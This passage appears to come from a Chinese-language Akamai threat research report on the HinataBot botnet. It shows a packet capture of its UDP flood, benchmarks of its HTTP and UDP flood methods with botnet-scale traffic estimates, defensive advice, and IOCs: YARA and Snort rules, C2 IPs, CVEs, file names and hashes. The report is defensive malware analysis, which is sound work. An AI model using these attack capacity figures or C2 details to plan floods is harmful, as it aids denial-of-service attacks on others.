15:59:00.465835 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466018 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466740 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467265 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467407 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468113 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468737 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.469076 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.470517 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471034 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471214 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471957 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472804 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472940 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length
图 35：UDP 攻击数据包的数据包捕获
打包到 UDP 数据段中的 65,507 字节都是 null 字节（图 36）。IP ID 标头在攻击期间确实按顺序递增，尽管源端口是临时端口，但其在泛洪攻击期间保持不变。这很可能是 net.Dial 在攻击者整个工作线程池中管理 UDP 套接字的副作用。另一件需要注意的事情是 UDP 数据的校验和失败。
图 36：UDP 攻击数据包的详细数据包捕获细节
如何进行衡量？
为了对这两种攻击方法进行基准检验，我们运行了两次 10 秒的攻击，每种方法一次，只将攻击流离线分割成数据包捕获。然后，我们能够看到每种攻击类型产生的流量的总体规模。
该 http_flood 生成了 3.4 MB 的数据包捕获数据并推送了 20,430 个 HTTP 请求。每个请求的请求大小从 484 到 589 字节不等，大小的变化主要取决于 User-Agent 和 Cookie 标头数据的随机选择。这些请求数据包长度也会受到包含额外标头（例如授权基本数据）、URL 路径和 GET 参数填充以及包含 TLS 的影响，因此请谨慎对待。
值得指出的是，这种攻击事件中的目标服务器也非常简单且为单线程服务器，如果攻击目标是能够更快响应工作线程池的服务器，那么这些数字可能会增加。
该 udp_flood 通过连接生成了 6,733 个数据包，总共 421 MB 的数据包捕获数据。此攻击没有太多值得关注的方面：本质上是容量耗尽型攻击，而且似乎在推送攻击量方面做得不错。如前所述，由于此攻击生成的数据包的大小，在现实情况中，受害者可能会在攻击事件发生期间发现大量碎片。
使用我们的 10 秒样本集和僵尸网络的理论规模，我们可以开始估计攻击规模。如果僵尸网络仅包含 1,000 个节点，则由此产生的 UDP 泛洪攻击将达到每秒 336 Gbps 左右。如果包含 10,000 个节点（大约是 Mirai 峰值时规模的 6.9%），则 UDP 泛洪攻击将超过 3.3 Tbps。1,000 个节点处的 HTTP 泛洪攻击将产生大约 2.7 Gbps 的流量，每秒请求数超过 2 Mrps。如果包含 10,000 个节点，流量将跃升至 27 Gbps，每秒请求数高达 20.4 Mrps。
这些理论上的能力显然没有考虑到参与的服务器的不同类型、其各自的带宽和硬件能力等，但重点在于让大家了解情况。让我们期待 HinataBot 的开发者能够在我们不得不根据任何实际规模处理他们的僵尸网络之前改邪归正。
结论
威胁形势不断演变，HinataBot 便是最新示例，尤其与僵尸网络有关。恶意软件开发者不断创新，更新其实施方法、语言和传播方法。通过依靠久经验证的早期技术，例如 Mirai 中使用的技术，攻击者可以更多地专注于策划可逃避检测、不断演变并具有新功能的恶意软件。
通过继续探索和分析 HinataBot 等不断演变的威胁，我们可以更好地了解攻击者的手段、技术和程序，从而开发出更强大的防御措施。HinataBot 系列依赖于旧漏洞和暴力破解弱密码来进行传播。这也从另一个方面说明了为何强密码和修补策略比以往任何时候都更为重要。攻击者总是在寻找既能获得高投资回报又易于攻陷的目标，因此让攻击更难得手有助于保障您的环境和互联网的安全。
这可能只是 HinataBot 的开始。Akamai SIRT 将继续监控其演变，并适时报告新发现。
Akamai 客户可受到保护，不受此僵尸网络支持的两种攻击功能的影响。
Akamai 在边缘以透明方式抵御非 HTTP 攻击，包括 UDP、TCP 和 ICMP 泛洪攻击。
Akamai App & API Protector 可通过 Akamai Client Reputation、Rate Controls、Akamai Bot Manager 和 Web 应用程序防火墙规则自动抵御第七层的 Web 应用程序攻击。
如果您对防范该僵尸网络还有其他问题，请咨询您的 Akamai 客户团队以了解更多信息。
IOC
YARA 规则
HinataBot 二进制文件
rule detect_hinatabot_strings {
Meta:
description = "This rule detects HinataBot binaries."
confidence = "high"
strings:
$s1 = "HINATA_START_NICE"
$s2 = "API_CONNECT_BOT"
$s3 = "Connection to CNC is OK!"
$s4 = "API_CONNECTION_SIGNAL_CHECK"
$s5 = "API_CONNECTION_SIGNAL_OK"
$s6 = "API_CONNECTION_ATTACK"
$s7 = "Hinata already running"
$s8 = "API_CONNECTION_KILL_ALL"
$s9 = "hinata_exists"
$s10 = "hinata_loaded"
$s11 = "HINATA_"
condition:
3 of ($s*)
}
HinataBot 感染程序脚本
rule detect_malicious_files {
meta:
description = "This rule detects infector scripts attempting to pull down HinataBot binaries."
confidence = "high"
strings:
$file_names = /hinata-[a-z\.0-9]+/
condition:
all of them
}
Snort 规则
http_flood
alert tcp any any -> any any (msg:"HTTP Request with HinataBot’s static header values"; flow:established, to_server; sid:1000001; rev:1; content:"Accept-Charset|3a| ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15|0d 0a|"; content:"Accept-Encoding|3a| *,identity,gzip,deflate|0d 0a|"; content:"Content-Type|3a| multipart/form-data, application/x-url-encoded|0d 0a|"; http_method;)
来自 C2 服务器的通信
alert tcp any any -> any 1420 (msg:"HinataBot API inbound connection detected."; sid:1000002; rev:1; content:"API_CONNECTION_SIGNAL_CHECK"; )
与 C2 服务器的通信
alert tcp any any -> any 1420 (msg:"HinataBot API outbound connection detected."; sid:1000003; rev:1; content:"API_CONNECTION_SIGNAL_OK"; content:"API_CONNECTION_ATTACK";)
IP
77.73.131.247
156.236.16.237
185.112.83.254
端口
61420
1420
CVE
CVE-2017-17215
CVE-2014-8361
文件名
tftp.sh
wget.sh
hinata-linux.amd64
hinata-windows-arm5
hinata-plan9-arm5
hinata-openbsd-arm5
hinata-netbsd-arm5
hinata-linux-arm5
hinata-freebsd-arm5
hinata-windows-arm7
hinata-windows-arm64.exe
hinata-windows-arm6
hinata-windows-arm
hinata-windows-amd64.exe
hinata-windows-386.exe
hinata-solaris-amd64
hinata-plan9-arm7
hinata-plan9-arm6
hinata-plan9-arm
hinata-plan9-amd64
hinata-plan9-386
hinata-openbsd-mips64
hinata-openbsd-arm7
hinata-openbsd-arm64
hinata-openbsd-arm6
hinata-openbsd-arm
hinata-openbsd-amd64
hinata-openbsd-386
hinata-netbsd-arm7
hinata-netbsd-arm64
hinata-netbsd-arm6
hinata-netbsd-arm
hinata-netbsd-amd64
hinata-netbsd-386
hinata-linux-s390x
hinata-linux-riscv64
hinata-linux-ppc64le
hinata-linux-ppc64
hinata-linux-mipsle
hinata-linux-mips64le
hinata-linux-mips64
hinata-linux-mips
hinata-linux-arm7
hinata-linux-arm64
hinata-linux-arm6
hinata-linux-arm
hinata-linux-amd64
hinata-linux-386
hinata-js-wasm
hinata-illumos-amd64
hinata-freebsd-arm7
hinata-freebsd-arm64
hinata-freebsd-arm6
hinata-freebsd-arm
hinata-freebsd-amd64
hinata-freebsd-386
hinata-dragonfly-amd64
hinata-darwin-arm64
hinata-darwin-amd64
hinata-android-arm64
hinata-aix-ppc64
近期的哈希值
01422e34b2114c68cdb6ce685cd2e5673bbe5652259a0c4b862d5de2824a9375
1b958fd718f1419700c53fed10807e873e8399c354877b0a3dfceac7a8581456
8a84dc2a9a06b1fae0dd16765509f88f6f54559c36d4353fd040d02d4563f703
4aba67fdd694219ff0dff07ebd444ed154edacc00c3a61f9b661eabe811a0446
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
c6a7e25290677cc7b9331343166b140f2c320764a815b241747e6913b1a386d9
92adfbe6aae06d7c99469aeb6551db8eee964b589f2b8774e29d987cfbd0e0d6
8eda08ce362c09b5f45772467f94d5370068c1798f78c5316f15647ac898c621
ff7638c0c893c021c3a059a21a71600249881afd84dc0d751d99db1c8edd3cac
a3fac6fea9201c3c3eaae47bd95e0be93e91298e48df75540958834f9e75ac4d
9875bb9dd6d159a3b327de80e151ef7f3831c0d6833ae781490d68e426b73680
6ec35ef48ffdf9a92aa8845c336b327c280e1f20d7130ba0856540aed3233bbc
C0aa34dd8dbf654d5230d4ef1db61f9befc89a0ea16cb7757edbf8a8090c9146
5643bf01e113de246575a9ec39ea12a85f9babb6ac069132ad8d1a7bfa56ed1b
845134ee7335f07b23e081f024cad5cbfc9ef453d6e2adc7970d6543292e5bcc
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
07326cce5325eabbe1caa2b3f8a4ab78e7913b65703c0afc3bab808441c30688
61181b4b7b7040ce4ab9c489a2b857f5a7fe8407c422327fff798f3b55e0cbe3
75c050580725279a6592eecc2b02b6fa78f5469c2f08fb1d0e2fe616beb8bf0d
E3427838132b6161f10e77d0beca1beac90c63a8ccc4aabd523041aec25aab67
